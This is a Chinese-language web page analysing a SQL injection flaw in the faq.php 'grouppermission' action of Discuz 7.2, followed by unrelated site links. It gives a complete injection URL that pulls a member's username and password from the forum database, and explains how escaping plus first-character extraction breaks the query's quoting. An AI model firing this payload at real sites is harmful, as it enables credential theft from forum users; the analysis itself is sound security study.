Discuz7.2版的faq.php SQL注入漏洞分析


注入代码实例:

复制代码 代码如下:

http://www.phpstudy.net/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=) and (select 1 from (select count(*),concat((select (select (select concat(username,0x20,password) from cdb_members limit 0,1) ) from `information_schema`.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

漏洞分析: by phithon

复制代码 代码如下:

($action == 'grouppermission') {

...
        ksort($gids);
        $groupids = array();
        foreach($gids as $row) {
                $groupids[] = $row[0];
        }

        $query = $db->query("SELECT * FROM {$tablepre}usergroups u LEFT JOIN {$tablepre}admingroups a ON u.groupid=a.admingid WHERE u.groupid IN (".implodeids($groupids).")");
...
}
function implodeids($array) {
        if(!empty($array)) {
                return "'".implode("','", is_array($array) ? $array : array($array))."'";
        } else {
                return '';
        }
}

首先定义一个数组groupids,然后遍历$gids(这也是个数组,就是$_GET[gids]),将数组中的所有值的第一位取出来放在groupids中。

为什么这个操作就造成了注入?

discuz在全局会对GET数组进行addslashes转义,也就是说会将'转义成\',所以,如果我们的传入的参数是:gids[1]='的话,会被转义成$gids[1]=\',而这个赋值语句$groupids[] = $row[0]就相当于取了字符串的第一个字符,也就是\,把转义符号取出来了。

再看后面,在将数据放入sql语句前,他用implodeids处理了一遍。我们看到implodeids函数

很简单一个函数,就是将刚才的$groupids数组用','分割开,组成一个类似于'1','2','3','4'的字符串返回。

但是我们的数组刚取出来一个转义符,它会将这里一个正常的'转义掉,比如这样:
'1','\','3','4'
有没有看出有点不同,第4个单引号被转义了,也就是说第5个单引号和第3个单引号闭合。



相关阅读:
NodeJS与HTML5相结合实现拖拽多个文件上传到服务器的实现方法
Cocos2d-x中实现弹出对话框示例
JavaScript函数柯里化详解
Android中的android:layout_weight使用详解
mysql 5.7.13 winx64安装配置方法图文教程
win10怎样设置和使用邮件应用?win10系统邮件应用设置和使用的方法
基于Android中的 AutoCompleteTextView实现自动填充
php显示指定目录下子目录的方法
在ASP.NET 2.0中操作数据之六十八:为DataTable添加额外的列
使用java处理字符串公式运算的方法
C语言实现输入一个字符串后打印出该字符串中字符的所有排列
win7系统安全无损调整分区大小的详细教程
Android应用中使用ViewPager和ViewPager指示器来制作Tab标签
Win7电脑菜单中的图标拖不到桌面怎么办 两种解决方法
快速导航
PHP MySQL HTML CSS JavaScript MSSQL AJAX .NET JSP Linux Mac ASP 服务器 SQL jQuery C# C++ java Android IOS oracle MongoDB SQLite wamp 交通频道 作文范文 在县教育行政工作会议上的发言 放生小鱼作文250字 小学五年级作文800字:心与脸 学习科学发展观:组织部门要在学习实践中做加强党性修养的表率 真诚的14年结婚祝福语 宣萱演过的电视剧 用心回报作文600字 黑罐子和白罐子的故事 小悦悦,祝福你一路走好!愿你在离开了这个黑暗的世界,去到了... 2015酒店员工辞职报告范文 五月,我弄疼了诗歌 荆棘鸟,桃花岛作文1000字 2013年入党培训思想汇报范文 在全县残疾人工作会议上的讲话 爱的篱笆总是自己在编扎 原来作文可以这样写 今天是我值日 刘明蕙作文250字 三严三实演讲稿范文四篇 论淡定 银杏树下的时光 考卷的启示作文600字 酒店销售总监岗位职责 火影忍者来做饭作文400字 描写紫荆花的好段 2014加强民族团结心得体会 放开 忆起 青年节节日的意义 心有灵犀——谷宇辰 我为我自豪作文350字 在那时,我们之间情深意浓,那时,信誓旦旦(伤感语录) 学会欣赏人生 红尘水深 2015关于“谋取不正当利益”自查自纠汇报总结 短文两篇-(《齐人有一妻一妾》《弈秋》 学雷锋日记作文300字 龙年春节乡亲乡情恳谈会致辞 自恋而自信的人生 小学四年级作文400字:劳动最快乐 (450字) 机器人是怎样炼成的作文900字 故乡情----终难忘 歌泣无端字字真 小学六年级作文550字:菊花香 婆媳过招5个难以跨越的鸿沟 爱情传说 小学六年级作文700字:烧饭乐 “妙极了”与“糟透了”优秀教案 大学生2014年暑期社会实践报告(家教) 2016企业春节贺词祝福语 低碳生活作文700字 离开。分开

Copyright © 2016 phpStudy |